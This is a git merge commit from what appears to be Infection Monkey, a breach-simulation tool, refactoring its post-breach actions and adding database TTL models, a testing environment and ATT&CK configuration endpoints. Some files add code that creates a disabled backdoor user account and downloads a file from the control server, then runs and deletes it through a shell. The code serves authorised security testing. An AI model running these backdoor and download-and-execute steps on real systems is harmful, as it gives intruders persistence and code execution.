Merge branch 'develop' into feature/325-notification-when-done

This commit is contained in:
Shay Nehmad 2019-06-05 13:58:39 +03:00
commit 6f814c59a7
49 changed files with 1498 additions and 382 deletions

View File

@ -20,7 +20,6 @@ class Configuration(object):
# now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit')
post_breach_import = importlib.import_module('infection_monkey.post_breach')
unknown_items = []
for key, value in formatted_data.items():
@ -37,9 +36,6 @@ class Configuration(object):
elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects)
elif key == 'post_breach_actions':
class_objects = [getattr(post_breach_import, val) for val in value]
setattr(self, key, class_objects)
else:
if hasattr(self, key):
setattr(self, key, value)
@ -205,6 +201,7 @@ class Configuration(object):
# exploiters config
###########################
should_exploit = True
skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5

View File

@ -20,6 +20,12 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
# random number greater than 5,
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
TIMEOUT_IN_SECONDS = 15
class ControlClient(object):
proxies = {}
@ -73,7 +79,7 @@ class ControlClient(object):
requests.get("https://%s/api?action=is-up" % (server,),
verify=False,
proxies=ControlClient.proxies,
timeout=TIMEOUT)
timeout=TIMEOUT_IN_SECONDS)
WormConfiguration.current_server = current_server
break
@ -303,3 +309,13 @@ class ControlClient(object):
target_addr, target_port = None, None
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
@staticmethod
def get_pba_file(filename):
try:
return requests.get(PBA_FILE_DOWNLOAD %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
except requests.exceptions.RequestException:
return False

View File

@ -51,7 +51,6 @@ class MonkeyDrops(object):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
def start(self):
if self._config['destination_path'] is None:
LOG.error("No destination path specified")
return False

View File

@ -1,4 +1,5 @@
{
"should_exploit": true,
"command_servers": [
"192.0.2.0:5000"
],

View File

@ -98,6 +98,7 @@ def main():
except OSError:
pass
LOG_CONFIG['handlers']['file']['filename'] = log_path
# noinspection PyUnresolvedReferences
LOG_CONFIG['root']['handlers'].append('file')
else:
del LOG_CONFIG['handlers']['file']

View File

@ -121,10 +121,7 @@ class InfectionMonkey(object):
system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info)
for action_class in WormConfiguration.post_breach_actions:
action = action_class()
action.act()
# Executes post breach actions
PostBreach().execute()
if 0 == WormConfiguration.depth:
@ -183,6 +180,7 @@ class InfectionMonkey(object):
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
# Order exploits according to their type
if WormConfiguration.should_exploit:
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
host_exploited = False
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:

View File

@ -15,7 +15,7 @@ def main():
a = Analysis(['main.py'],
pathex=['..'],
hiddenimports=get_hidden_imports(),
hookspath=None,
hookspath=['./pyinstaller_hooks'],
runtime_hooks=None,
binaries=None,
datas=None,

View File

@ -1,4 +1 @@
__author__ = 'danielg'
from add_user import BackdoorUser

View File

@ -0,0 +1,11 @@
from os.path import dirname, basename, isfile, join
import glob
def get_pba_files():
"""
Gets all files under current directory(/actions)
:return: list of all files without .py ending
"""
files = glob.glob(join(dirname(__file__), "*.py"))
return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')]

View File

@ -0,0 +1,19 @@
import datetime
from infection_monkey.post_breach.pba import PBA
from infection_monkey.config import WormConfiguration
__author__ = 'danielg'
LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]
WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
class BackdoorUser(PBA):
def __init__(self):
super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS)

View File

@ -0,0 +1,91 @@
import os
import logging
from infection_monkey.utils import is_windows_os
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
DIR_CHANGE_WINDOWS = 'cd %s & '
DIR_CHANGE_LINUX = 'cd %s ; '
class UsersPBA(PBA):
"""
Defines user's configured post breach action.
"""
def __init__(self):
super(UsersPBA, self).__init__("File execution")
self.filename = ''
if not is_windows_os():
# Add linux commands to PBA's
if WormConfiguration.PBA_linux_filename:
if WormConfiguration.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
self.filename = WormConfiguration.PBA_linux_filename
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
self.command = DEFAULT_LINUX_COMMAND.format(file_path)
self.filename = WormConfiguration.PBA_linux_filename
elif WormConfiguration.custom_PBA_linux_cmd:
self.command = WormConfiguration.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if WormConfiguration.PBA_windows_filename:
if WormConfiguration.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
self.filename = WormConfiguration.PBA_windows_filename
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
self.command = DEFAULT_WINDOWS_COMMAND.format(file_path)
self.filename = WormConfiguration.PBA_windows_filename
elif WormConfiguration.custom_PBA_windows_cmd:
self.command = WormConfiguration.custom_PBA_windows_cmd
def _execute_default(self):
if self.filename:
UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
return super(UsersPBA, self)._execute_default()
@staticmethod
def should_run(class_name):
if not is_windows_os():
if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd:
return True
else:
if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd:
return True
return False
@staticmethod
def download_pba_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""
pba_file_contents = ControlClient.get_pba_file(filename)
if not pba_file_contents or not pba_file_contents.content:
LOG.error("Island didn't respond with post breach file.")
return False
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(pba_file_contents.content)
return True
except IOError as e:
LOG.error("Can not upload post breach file to target machine: %s" % e)
return False

View File

@ -1,52 +0,0 @@
import datetime
import logging
import subprocess
import sys
from infection_monkey.config import WormConfiguration
LOG = logging.getLogger(__name__)
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'danielg'
class BackdoorUser(object):
"""
This module adds a disabled user to the system.
This tests part of the ATT&CK matrix
"""
def act(self):
LOG.info("Adding a user")
try:
if sys.platform.startswith("win"):
retval = self.add_user_windows()
else:
retval = self.add_user_linux()
if retval != 0:
LOG.warn("Failed to add a user")
else:
LOG.info("Done adding user")
except OSError:
LOG.exception("Exception while adding a user")
@staticmethod
def add_user_linux():
cmd_line = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]
retval = subprocess.call(cmd_line)
return retval
@staticmethod
def add_user_windows():
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
retval = subprocess.call(cmd_line)
return retval

View File

@ -1,68 +0,0 @@
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
import requests
import os
import logging
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
class FileExecution(PBA):
"""
Defines user's file execution post breach action.
"""
def __init__(self, linux_command="", windows_command=""):
self.linux_filename = WormConfiguration.PBA_linux_filename
self.windows_filename = WormConfiguration.PBA_windows_filename
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
def _execute_linux(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
return super(FileExecution, self)._execute_linux()
def _execute_win(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
return super(FileExecution, self)._execute_win()
def add_default_command(self, is_linux):
"""
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
and finally deletes post breach file).
Default commands are defined as globals in this module.
:param is_linux: Boolean that indicates for which OS the command is being set.
"""
if is_linux:
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
else:
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
@staticmethod
def download_PBA_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(PBA_file_contents.content)
return True
except IOError as e:
LOG.error("Can not download post breach file to target machine, because %s" % e)
return False

View File

@ -1,7 +1,10 @@
import logging
from infection_monkey.control import ControlClient
import subprocess
import socket
from infection_monkey.control import ControlClient
from infection_monkey.utils import is_windows_os
from infection_monkey.config import WormConfiguration
LOG = logging.getLogger(__name__)
@ -12,57 +15,60 @@ class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", linux_command="", windows_command=""):
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.
:param linux_command: Command that will be executed on linux machine
:param windows_command: Command that will be executed on windows machine
:param command: Command that will be executed on breached machine
"""
self.linux_command = linux_command
self.windows_command = windows_command
self.command = PBA.choose_command(linux_cmd, windows_cmd)
self.name = name
def run(self, is_linux):
def get_pba(self):
"""
Runs post breach action command
:param is_linux: boolean that indicates on which os monkey is running
This method returns a PBA object based on a worm's configuration.
Return None or False if you don't want the pba to be executed.
:return: A pba object.
"""
if is_linux:
command = self.linux_command
exec_funct = self._execute_linux
else:
command = self.windows_command
exec_funct = self._execute_win
if command:
hostname = socket.gethostname()
ControlClient.send_telemetry('post_breach', {'command': command,
'result': exec_funct(),
'name': self.name,
'hostname': hostname,
'ip': socket.gethostbyname(hostname)
})
def _execute_linux(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.linux_command)
def _execute_win(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.windows_command)
return self
@staticmethod
def _execute_default(command):
def should_run(class_name):
"""
Decides if post breach action is enabled in config
:return: True if it needs to be ran, false otherwise
"""
return class_name in WormConfiguration.post_breach_actions
def run(self):
"""
Runs post breach action command
"""
exec_funct = self._execute_default
result = exec_funct()
hostname = socket.gethostname()
ControlClient.send_telemetry('post_breach', {'command': self.command,
'result': result,
'name': self.name,
'hostname': hostname,
'ip': socket.gethostbyname(hostname)})
def _execute_default(self):
"""
Default post breach command execution routine
:param command: What command to execute
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output, False
@staticmethod
def choose_command(linux_cmd, windows_cmd):
"""
Helper method that chooses between linux and windows commands.
:param linux_cmd:
:param windows_cmd:
:return: Command for current os
"""
return windows_cmd if is_windows_os() else linux_cmd

View File

@ -1,16 +1,15 @@
import logging
import infection_monkey.config
from file_execution import FileExecution
from pba import PBA
import inspect
import importlib
from infection_monkey.post_breach.pba import PBA
from infection_monkey.post_breach.actions import get_pba_files
from infection_monkey.utils import is_windows_os
from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
DIR_CHANGE_WINDOWS = 'cd %s & '
DIR_CHANGE_LINUX = 'cd %s ; '
PATH_TO_ACTIONS = "infection_monkey.post_breach.actions."
class PostBreach(object):
@ -19,65 +18,34 @@ class PostBreach(object):
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
self.pba_list = self.config_to_pba_list()
def execute(self):
"""
Executes all post breach actions.
"""
for pba in self.pba_list:
pba.run(self.os_is_linux)
pba.run()
LOG.info("Post breach actions executed")
@staticmethod
def config_to_pba_list(config):
def config_to_pba_list():
"""
Returns a list of PBA objects generated from config.
:param config: Monkey configuration
Passes config to each post breach action class and aggregates results into a list.
:return: A list of PBA objects.
"""
pba_list = []
pba_list.extend(PostBreach.get_custom_PBA(config))
pba_files = get_pba_files()
# Go through all of files in ./actions
for pba_file in pba_files:
# Import module from that file
module = importlib.import_module(PATH_TO_ACTIONS + pba_file)
# Get all classes in a module
pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass)
if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
# Get post breach action object from class
for pba_class in pba_classes:
if pba_class.should_run(pba_class.__name__):
pba = pba_class()
pba_list.append(pba)
return pba_list
@staticmethod
def get_custom_PBA(config):
"""
Creates post breach actions depending on users input into 'custom post breach' config section
:param config: monkey's configuration
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
"""
custom_list = []
file_pba = FileExecution()
command_pba = PBA(name="Custom")
if not is_windows_os():
# Add linux commands to PBA's
if config.PBA_linux_filename:
if config.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
else:
file_pba.add_default_command(is_linux=True)
elif config.custom_PBA_linux_cmd:
command_pba.linux_command = config.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if config.PBA_windows_filename:
if config.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
config.custom_PBA_windows_cmd
else:
file_pba.add_default_command(is_linux=False)
elif config.custom_PBA_windows_cmd:
command_pba.windows_command = config.custom_PBA_windows_cmd
# Add PBA's to list
if file_pba.linux_command or file_pba.windows_command:
custom_list.append(file_pba)
if command_pba.windows_command or command_pba.linux_command:
custom_list.append(command_pba)
return custom_list

View File

@ -0,0 +1,6 @@
from PyInstaller.utils.hooks import collect_submodules, collect_data_files
# Import all actions as modules
hiddenimports = collect_submodules('infection_monkey.post_breach.actions')
# Add action files that we enumerate
datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True))

View File

@ -29,11 +29,12 @@ from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
from monkey_island.cc.resources.version_update import VersionUpdate
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.database import Database
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack_telem import AttackTelem
from monkey_island.cc.resources.attack_config import AttackConfiguration
__author__ = 'Barak'
@ -97,7 +98,7 @@ def init_app_services(app):
with app.app_context():
database.init()
ConfigService.init_config()
Database.init_db()
# If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island.
RemoteRunAwsService.init()
@ -130,6 +131,7 @@ def init_api_resources(api):
'/api/fileUpload/<string:file_type>?load=<string:filename>',
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
api.add_resource(AttackConfiguration, '/api/attack')
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')

View File

@ -10,8 +10,8 @@ __author__ = 'itay.mizeretz'
class User(object):
def __init__(self, id, username, secret):
self.id = id
def __init__(self, user_id, username, secret):
self.id = user_id
self.username = username
self.secret = secret

View File

@ -10,13 +10,29 @@ class Environment(object):
__metaclass__ = abc.ABCMeta
_ISLAND_PORT = 5000
_MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland")
_MONGO_DB_NAME = "monkeyisland"
_MONGO_DB_HOST = "localhost"
_MONGO_DB_PORT = 27017
_MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)))
_DEBUG_SERVER = False
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
_testing = False
@property
def testing(self):
return self._testing
@testing.setter
def testing(self, value):
self._testing = value
_MONKEY_VERSION = "1.6.3"
def __init__(self):
self.config = None
self._testing = False # Assume env is not for unit testing.
def set_config(self, config):
self.config = config
@ -56,3 +72,15 @@ class Environment(object):
@abc.abstractmethod
def get_auth_users(self):
return
@property
def mongo_db_name(self):
return self._MONGO_DB_NAME
@property
def mongo_db_host(self):
return self._MONGO_DB_HOST
@property
def mongo_db_port(self):
return self._MONGO_DB_PORT

View File

@ -2,7 +2,10 @@ import json
import logging
import os
env = None
from monkey_island.cc.environment import standard
from monkey_island.cc.environment import testing
from monkey_island.cc.environment import aws
from monkey_island.cc.environment import password
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
@ -14,11 +17,13 @@ logger = logging.getLogger(__name__)
AWS = 'aws'
STANDARD = 'standard'
PASSWORD = 'password'
TESTING = 'testing'
ENV_DICT = {
STANDARD: standard.StandardEnvironment,
AWS: aws.AwsEnvironment,
PASSWORD: password.PasswordEnvironment,
TESTING: testing.TestingEnvironment
}

View File

@ -0,0 +1,17 @@
from monkey_island.cc.environment import Environment
import monkey_island.cc.auth
class TestingEnvironment(Environment):
def __init__(self):
super(TestingEnvironment, self).__init__()
self.testing = True
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
'8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
def get_auth_users(self):
return [
monkey_island.cc.auth.User(1, self.NO_AUTH_CREDS, self.NO_AUTH_CREDS)
]

View File

@ -0,0 +1,19 @@
from mongoengine import connect
from monkey_island.cc.environment.environment import env
# This section sets up the DB connection according to the environment.
# If testing, use mongomock which only emulates mongo. for more information, see
# http://docs.mongoengine.org/guide/mongomock.html .
# Otherwise, use an actual mongod instance with connection parameters supplied by env.
if env.testing:
connect('mongoenginetest', host='mongomock://localhost')
else:
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
# Order of importing matters here, for registering the embedded and referenced documents before using them.
from config import Config
from creds import Creds
from monkey_ttl import MonkeyTtl
from pba_results import PbaResults
from monkey import Monkey

View File

@ -0,0 +1,11 @@
from mongoengine import EmbeddedDocument
class Config(EmbeddedDocument):
"""
No need to define this schema here. It will change often and is already is defined in
monkey_island.cc.services.config_schema.
See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist
"""
meta = {'strict': False}
pass

View File

@ -0,0 +1,9 @@
from mongoengine import EmbeddedDocument
class Creds(EmbeddedDocument):
"""
TODO get an example of this data, and make it strict
"""
meta = {'strict': False}
pass

View File

@ -0,0 +1,60 @@
"""
Define a Document Schema for the Monkey document.
"""
import mongoengine
from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, DateField, \
ReferenceField
from monkey_island.cc.models.monkey_ttl import MonkeyTtl
class Monkey(Document):
"""
This class has 2 main section:
* The schema section defines the DB fields in the document. This is the data of the object.
* The logic section defines complex questions we can ask about a single document which are asked multiple
times, somewhat like an API.
"""
# SCHEMA
guid = StringField(required=True)
config = EmbeddedDocumentField('Config')
creds = ListField(EmbeddedDocumentField('Creds'))
dead = BooleanField()
description = StringField()
hostname = StringField()
internet_access = BooleanField()
ip_addresses = ListField(StringField())
keepalive = DateField()
modifytime = DateField()
# TODO change this to an embedded document as well - RN it's an unnamed tuple which is confusing.
parent = ListField(ListField(StringField()))
config_error = BooleanField()
critical_services = ListField(StringField())
pba_results = ListField()
ttl_ref = ReferenceField(MonkeyTtl)
# LOGIC
@staticmethod
def get_single_monkey_by_id(db_id):
try:
return Monkey.objects(id=db_id)[0]
except IndexError:
raise MonkeyNotFoundError("id: {0}".format(str(db_id)))
def is_dead(self):
monkey_is_dead = False
if self.dead:
monkey_is_dead = True
else:
try:
if MonkeyTtl.objects(id=self.ttl_ref.id).count() == 0:
# No TTLs - monkey has timed out. The monkey is MIA.
monkey_is_dead = True
except (mongoengine.DoesNotExist, AttributeError):
# Trying to dereference unknown document - the monkey is MIA.
monkey_is_dead = True
return monkey_is_dead
class MonkeyNotFoundError(Exception):
pass

View File

@ -0,0 +1,40 @@
from datetime import datetime, timedelta
from mongoengine import Document, DateTimeField
class MonkeyTtl(Document):
"""
This model represents the monkey's TTL, and is referenced by the main Monkey document.
See https://docs.mongodb.com/manual/tutorial/expire-data/ and
https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents/56021663#56021663
for more information about how TTL indexing works and why this class is set up the way it is.
If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) function.
If you wish to create an instance of this class directly, see the inner implementation of
create_ttl_expire_in(seconds) to see how to do so.
"""
@staticmethod
def create_ttl_expire_in(expiry_in_seconds):
"""
Initializes a TTL object which will expire in expire_in_seconds seconds from when created.
Remember to call .save() on the object after creation.
:param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take into consideration
that the cleanup thread of mongo might take extra time to delete the TTL from the DB.
"""
# Using UTC to make the mongodb TTL feature work. See
# https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents.
return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds))
meta = {
'indexes': [
{
'name': 'TTL_index',
'fields': ['expire_at'],
'expireAfterSeconds': 0
}
]
}
expire_at = DateTimeField()

View File

@ -0,0 +1,9 @@
from mongoengine import EmbeddedDocument, StringField, ListField
class PbaResults(EmbeddedDocument):
ip = StringField()
hostname = StringField()
command = StringField()
name = StringField()
result = ListField()

View File

@ -0,0 +1,54 @@
import uuid
from time import sleep
from unittest import TestCase
from monkey import Monkey
from monkey_island.cc.models.monkey import MonkeyNotFoundError
from monkey_ttl import MonkeyTtl
class TestMonkey(TestCase):
"""
Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and
won't work.
Also, the working directory needs to be the working directory from which you usually run the island so the
server.json file is found and loaded.
"""
def test_is_dead(self):
# Arrange
alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
alive_monkey_ttl.save()
alive_monkey = Monkey(
guid=str(uuid.uuid4()),
dead=False,
ttl_ref=alive_monkey_ttl.id)
alive_monkey.save()
# MIA stands for Missing In Action
mia_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
mia_monkey_ttl.save()
mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl)
mia_monkey.save()
# Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance.
sleep(1)
mia_monkey_ttl.delete()
dead_monkey = Monkey(guid=str(uuid.uuid4()), dead=True)
dead_monkey.save()
# act + assert
self.assertTrue(dead_monkey.is_dead())
self.assertTrue(mia_monkey.is_dead())
self.assertFalse(alive_monkey.is_dead())
def test_get_single_monkey_by_id(self):
# Arrange
a_monkey = Monkey(guid=str(uuid.uuid4()))
a_monkey.save()
# Act + assert
# Find the existing one
self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id))
# Raise on non-existent monkey
self.assertRaises(MonkeyNotFoundError, Monkey.get_single_monkey_by_id, "abcdefabcdefabcdefabcdef")

View File

@ -0,0 +1,30 @@
import flask_restful
import json
from flask import jsonify, request
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.attack.attack_config import AttackConfig
__author__ = "VakarisZ"
class AttackConfiguration(flask_restful.Resource):
@jwt_required()
def get(self):
return jsonify(configuration=AttackConfig.get_config()['properties'])
@jwt_required()
def post(self):
"""
Based on request content this endpoint either resets ATT&CK configuration or updates it.
:return: Technique types dict with techniques on reset and nothing on update
"""
config_json = json.loads(request.data)
if 'reset_attack_matrix' in config_json:
AttackConfig.reset_config()
return jsonify(configuration=AttackConfig.get_config()['properties'])
else:
AttackConfig.update_config({'properties': json.loads(request.data)})
AttackConfig.apply_to_monkey_config()
return {}

View File

@ -1,7 +1,7 @@
import flask_restful
from flask import request
import json
from monkey_island.cc.services.attack.attack_telem import set_results
from monkey_island.cc.services.attack.attack_telem import AttackTelemService
import logging
__author__ = 'VakarisZ'
@ -20,5 +20,5 @@ class AttackTelem(flask_restful.Resource):
:param technique: Technique ID, e.g. T1111
"""
data = json.loads(request.data)
set_results(technique, data)
AttackTelemService.set_results(technique, data)
return {}

View File

@ -7,6 +7,7 @@ from flask import request, jsonify, make_response
import flask_restful
from monkey_island.cc.environment.environment import env
from monkey_island.cc.models import Monkey
from monkey_island.cc.resources.monkey_download import get_monkey_executable
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.utils import local_ip_addresses
@ -57,7 +58,7 @@ class LocalRun(flask_restful.Resource):
NodeService.update_dead_monkeys()
island_monkey = NodeService.get_monkey_island_monkey()
if island_monkey is not None:
is_monkey_running = not island_monkey["dead"]
is_monkey_running = not Monkey.get_single_monkey_by_id(island_monkey["_id"]).is_dead()
else:
is_monkey_running = False

View File

@ -2,18 +2,29 @@ import json
from datetime import datetime
import dateutil.parser
from flask import request
import flask_restful
from flask import request
from monkey_island.cc.database import mongo
from monkey_island.cc.models.monkey_ttl import MonkeyTtl
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.node import NodeService
MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5
__author__ = 'Barak'
# TODO: separate logic from interface
def create_monkey_ttl():
# The TTL data uses the new `models` module which depends on mongoengine.
current_ttl = MonkeyTtl.create_ttl_expire_in(MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS)
current_ttl.save()
ttlid = current_ttl.id
return ttlid
class Monkey(flask_restful.Resource):
# Used by monkey. can't secure.
@ -47,6 +58,9 @@ class Monkey(flask_restful.Resource):
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
ttlid = create_monkey_ttl()
update['$set']['ttl_ref'] = ttlid
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
# Used by monkey. can't secure.
@ -106,6 +120,8 @@ class Monkey(flask_restful.Resource):
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
monkey_json.pop('tunnel')
monkey_json['ttl_ref'] = create_monkey_ttl()
mongo.db.monkey.update({"guid": monkey_json["guid"]},
{"$set": monkey_json},
upsert=True)

View File

@ -6,11 +6,10 @@ from flask import request, make_response, jsonify
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.report import ReportService
from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.post_breach_files import remove_PBA_files
from monkey_island.cc.services.database import Database
__author__ = 'Barak'
@ -26,7 +25,7 @@ class Root(flask_restful.Resource):
if not action:
return Root.get_server_info()
elif action == "reset":
return Root.reset_db()
return jwt_required()(Database.reset_db)()
elif action == "killall":
return Root.kill_all()
elif action == "is-up":
@ -40,16 +39,6 @@ class Root(flask_restful.Resource):
return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
completed_steps=Root.get_completed_steps())
@staticmethod
@jwt_required()
def reset_db():
remove_PBA_files()
# We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config()
logger.info('DB was reset')
return jsonify(status='OK')
@staticmethod
@jwt_required()
def kill_all():

View File

@ -0,0 +1,161 @@
import logging
from dpath import util
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.attack_schema import SCHEMA
from monkey_island.cc.services.config import ConfigService
__author__ = "VakarisZ"
logger = logging.getLogger(__name__)
class AttackConfig(object):
def __init__(self):
pass
@staticmethod
def get_config():
config = mongo.db.attack.find_one({'name': 'newconfig'})
return config
@staticmethod
def get_config_schema():
return SCHEMA
@staticmethod
def reset_config():
AttackConfig.update_config(SCHEMA)
@staticmethod
def update_config(config_json):
mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
return True
@staticmethod
def apply_to_monkey_config():
"""
